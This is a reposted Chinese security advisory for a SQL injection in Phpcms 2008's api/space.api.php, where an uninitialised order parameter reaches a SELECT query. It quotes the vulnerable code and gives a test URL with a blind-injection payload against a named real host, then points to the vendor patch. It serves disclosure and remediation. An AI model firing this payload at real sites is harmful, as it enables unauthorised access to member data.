网站地图    收藏   

主页 > 后端 > 网站安全 >

Phpcms 2008 space.api.php SQL注入漏洞及修复 - 网站安全

来源:自学PHP网    时间:2015-04-17 15:08 作者: 阅读:

[导读] 影响版本:Phpcms 2008漏洞描述:Phpcms 是国内领先的网站内容管理系统,同时也是一个开源的PHP开发框架。在文件api/space.api.php中:$arr_content = $content-listinfo("userid=$userid", $order, 1, 10); //第7行...

影响版本:
Phpcms 2008漏洞描述:
Phpcms 是国内领先的网站内容管理系统,同时也是一个开源的PHP开发框架。

在文件api/space.api.php中:
$arr_content = $content->listinfo("userid=$userid", $order, 1, 10);  //第7行
Listinfo函数在文件include/admin/ content.class.php中:
function listinfo($where = , $order = `listorder` DESC,`contentid` DESC, $page = 1, $pagesize = 50)    //第169行
 {
  if($where) $where = " WHERE $where $this->userid_sql";
  if($order) $order = " ORDER BY $order";
……
$result = $this->db->query("SELECT * FROM `$this->table` $where $order $limit");  //第179行
变量$order没有初始化放入sql语句,导致注入漏洞的产生

测试方法:

http://ennuu.com/api/space.api.php?userid=2&order=if((select%20count(*)%20from%20phpcms_member)>1,contentid,1)%20desc%23SEBUG

安全修复:
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载
http://www.phpcms.cn

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论